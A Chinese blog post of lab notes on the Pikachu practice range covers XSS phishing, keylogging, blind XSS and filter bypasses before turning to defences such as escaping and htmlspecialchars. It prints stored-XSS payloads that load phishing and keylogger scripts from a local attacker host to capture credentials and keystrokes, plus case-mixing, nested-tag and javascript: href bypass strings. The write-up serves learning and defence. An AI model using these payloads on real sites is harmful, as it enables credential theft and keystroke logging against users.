美文网首页
四 XSS(二)

四 XSS(二)

作者: sunnnnnnnnnny | 来源:发表于2020-02-04 00:04 被阅读0次

    XSS危害-XSS进行钓鱼的原理和实验演示

    原理

    这个例子使用了存储型xss
    使用的payload为

    <p>hello</p><script src="http://192.168.43.5/pikachu/pkxss/xfish/fish.php"></script>
    

    当用户访问含有存储型XSS漏洞的页面时,页面就会请求文件http://192.168.43.5/pikachu/pkxss/xfish/fish.php,这个页面会提示用户输入用户名密码
    其代码如下

    钓鱼页面
    pkxss后台xfish.php的代码
    xfish.php

    将这个url发送给目标就可以了

    http://192.168.43.5/pikachu/vul/xss/xss_stored.php
    

    后台就会得到用户的用户名和密码


    pkxss后台

    ⅩSS危害-ⅩSS获取键盘记录原理和实验演示

    跨域

    http://www.xyz.com:8080/script/test.js
    协议://子域名.主域名:端口/资源地址
    当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域
    我们把不同的域之间请求数据的操作,成为跨域操作。

    同源策略

    而为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的 Javascript并不能操作y.com域下的对象。
    如果想要跨域操作,则需要管理员进行特殊的配置
    比如通过: header(" Access-Control-Aow- Origin:xcom")指定
    Tips:下面这些标签跨域加载资源〔资源类型是有限制的)是不受同源策略限制的。

    <script src="">//js,加载到本地执行
    < img src="">/图片
    <link href="">//css
    < frame src="">/任意资源
    同源策略是为隔离不同域的操作,可防止用户的敏感信息被窃取

    获取键盘记录的js脚本


    rk.js

    接收键盘记录的php代码


    rkserver.png

    本例中使用存储型XSS作演示
    使用的payload为

    <p>hello</p><script src="http://192.168.43.5/pikachu/pkxss/rkeypress/rk.js"></script>
    

    当用户访问页面 http://192.168.43.5/pikachu/vul/xss/xss_stored.php就会将其键盘操作记录下来,传到pkxss后台上

    pkxss键盘记录的后台

    XSS盲打演示和原理分析

    是一种XSS的应用场景
    普通用户提交的payload不会返回到当前页面,会在后台管理员的页面上执行,来攻击管理员,属于一种存储型的XSS
    比如一些用户反馈意见的页面

    XSS的过滤和绕过(fter& htmlspecialchars)

    过滤和转换

    0,前端限制绕过,直接抓包重放,或者修改htm前端代码
    1.,大小写,比如:< SCRIPT> aleRT(111)</ sCRIpt>
    2, <scri<script>pt>alert(111)</scri</script>pt> 为了应对后台对<script>标签的替换
    3,使用注释进行干扰:<scri<!--test-->pt> alert(11)-/sc<!--test-->ript>
    

    编码

    核心思路
    后台过滤了特殊字符比如< script>标签但该标签可以被各种编码后台不一定会过滤
    当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行.
    url编码 可参考https://www.w3school.com.cn/tags/html_ref_urlencode.html

    html编码 可参考https://blog.csdn.net/snsHL9db69ccu1aIKl9r/article/details/100138220

    XSS绕过的技巧有很多,取决于你的思路和对前端的掌握程度

    pre_replace
    htmlspecialchars函数把预定义的字符转换为HTML实体
    用法 $str = htmlspecialchars(string,flags,character-set,double_encode);
    可参考 https://baijiahao.baidu.com/s?id=1621553793329253809&wfr=spider&for=pc
    被转换的预定义的字符有:

    html转义.png

    可用的引号类型:

    ENT COMPAT-默认。仅编码双引号。
    ENT_QUOTES编码双引号和单引号 建议使用
    ENT_ NOQUOTES-不编码任何引号。

    XSS常见防范措施

    总的原则:输入做过滤,输出做转义

    • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
    • 转义:所有输岀到前端的数据都根据输出点进行转义,比如输出到htm中进行htm实体转义,输入到js里
      面的进行转义

    XSS输出在hre案例分析

    实例1

    这个例子保对输出作了转义,对输入没有作过滤,存在漏洞
    注意a标签中的href属性中可以执行js脚本如

    <a href='javascript:alert(111)'></a>
    

    所以上例中的按需要对message进行过滤,只允许http/https开始的字符串,这样更加安全

    XSS输出在js案例分析

    后台代码 后台代码 动态生成js

    在这里由于前端输入的变量需要嵌入js代码中,需要使用js转义


    js转义

    尤其是单双引号的转义

    相关文章

      网友评论

          本文标题:四 XSS(二)

          本文链接:https://www.haomeiwen.com/subject/nenfxhtx.html